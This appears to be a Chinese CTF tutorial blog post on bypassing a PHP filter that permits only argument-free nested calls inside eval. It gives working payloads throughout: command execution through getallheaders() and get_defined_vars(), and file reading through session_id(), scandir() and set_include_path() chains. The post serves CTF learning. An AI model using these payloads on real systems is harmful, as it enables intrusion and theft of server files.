php无参执行RCE

前言

<?php
# @Author: h1xa

highlight_file(__FILE__);

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

一般来说当我们可以控制或自己上传一个木马后,就可以进行任意命令执行,但像上面这样/[^\W]+\((?R)?\)/的正则过滤方式,我们不能输入任何参数,这样想绕过的话一个大的思路就是通过套娃,通过让一个函数的返回值作为另一个函数的参数,也就是这样a(b(c()));,最终达到rce的效果,下面列几种绕过方法

绕过

使用getallheaders()函数

在这里插入图片描述

<?php

$a=getallheaders();
var_dump($a);

array (size=14)
  'Sec-Gpc' => string '1' (length=1)
  'Dnt' => string '1' (length=1)
  'Sec-Fetch-User' => string '?1' (length=2)
  'Sec-Fetch-Site' => string 'none' (length=4)
  'Sec-Fetch-Mode' => string 'navigate' (length=8)
  'Sec-Fetch-Dest' => string 'document' (length=8)
  'Upgrade-Insecure-Requests' => string '1' (length=1)
  'Cookie' => string '---------------' (length=50)
  'Connection' => string 'close' (length=5)
  'Accept-Encoding' => string 'gzip, deflate' (length=13)
  'Accept-Language' => string 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' (length=59)
  'Accept' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' (length=85)
  'User-Agent' => string 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' (length=78)
  'Host' => string 'localhost' (length=9)

本地抓包测试,与burp中内容完全相同,这里我们知道由于包的请求头信息可控,如果能够执行我们指定的请求头内容,就能实现代码执行。这里我们还需要一个函数来从请求头数组中拿到我们需要的请求头元素,并能够执行它,这里用到end,后拿var_dump把它显示出了

在这里插入图片描述

这里在本地做一个测试
在这里插入图片描述

这里下面的值完全由我们控制,但是它的位置不在最后一位end函数没法执行,这里给它挪了下位置跑到最后一位了,如果这里能移到第一位的话可以先移到第一位然后使用array_reverse给它调换到最后一位
在这里插入图片描述
这里本地是window,一开始试的ls命令一直没反应。我们发现成功命令执行

?code=eval(end(getallheaders()));
Content-Type: system('dir');

在这里插入图片描述

使用get_defined_vars()

在这里插入图片描述
返回由所有已定义变量所组成的数组,会返回$_GET$_POST$_COOKIE$_FILES,顺序也是这样的

在这里插入图片描述
这里以get为例,再加一个参数
在这里插入图片描述

这里这么多变量,需要再使用current函数,它是用来返回数组中的当前单元, 默认取第一个值,所以取出get后使用同样的方法

?code=eval(end(current(get_defined_vars())));&test=system('dir');

在这里插入图片描述

使用session_start()+session_id()

仅限php7以下的版本

在这里插入图片描述
在这里插入图片描述
使用session_start()启动session机制然后通过session_id()读取id,这里偏向于文件读取,PHPSESSID也都是数字字母,所有需要编码输入

?code=show_source(session_id(session_start())); 
Cookie: PHPSESSID=index.php

版本问题不演示了。

使用scandir实现文件读取同级文件

这个应该是最常见的,print_r(scandir('.')); 就表示获取当前目录下的文件,但是由于正则表达式限制,不能加参数,所以这里引入current() 返回数组中的当前单元(localeconv())localeconv()函数返回一包含本地数字及货币格式信息的数组,current() 返回数组中的当前单元(pos也是和current一样)
在这里插入图片描述

因为不能输入参数,所以这里利用array_flip()函数将读取当前目录的键和值进行反转,然后利用array_rand()来随机获得就能得到flag.php

在这里插入图片描述
这里也可以通过array_reverse来逆转数组,通过next()函数获取下一个值,最后通过文件读取函数读取内容
在这里插入图片描述

通过dirname()实现任意文件读取

这里用到一个重点就是dirname()函数,使用它对目录进行执行的话就会返回上级目录,演示一下

var_dump(scandir(getcwd()));
var_dump(scandir(dirname(dirname(dirname(getcwd())))));

在这里插入图片描述
在这里插入图片描述

这里只是看见根目录,该怎么到达这个目录呢,网上有说到用chdir

var_dump(scandir(chdir(dirname(dirname(dirname(getcwd()))))));

在这里插入图片描述
但是这里返回bool值所以报错,这里ctfshow的大佬利用了一个特性:readfileshow_source
readfile第二个参数不设定为true,则不会寻找include_path里面的文件进行读取,而show_source默认情况下会包含include_path,所以直接给出payload

show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));

这里用set_include_path函数同时实现了两个功能。

  1. 设置文件包含路径,方便show_source在其他目录进行读取
  2. 返回. :/usr/local/php

利用array_rand不断执行它的目的是得到一个/,然后进入根目录后就可以再通过反转随机来getflag,所以这里两个rand函数,getflag需要它两同时匹配到,那得到flag几率就差不多1%了

使用getenv()

php有很多超全局变量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

利用array_fliparray_rand来爆破getenv()环境变量的列表,拿到我们指定位置想要的恶意参数,个人觉得挺离谱挺的一个办法

参考PHP Parametric Function RCE
参考CTF|无参数RCE(一)
ctfshow平台

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值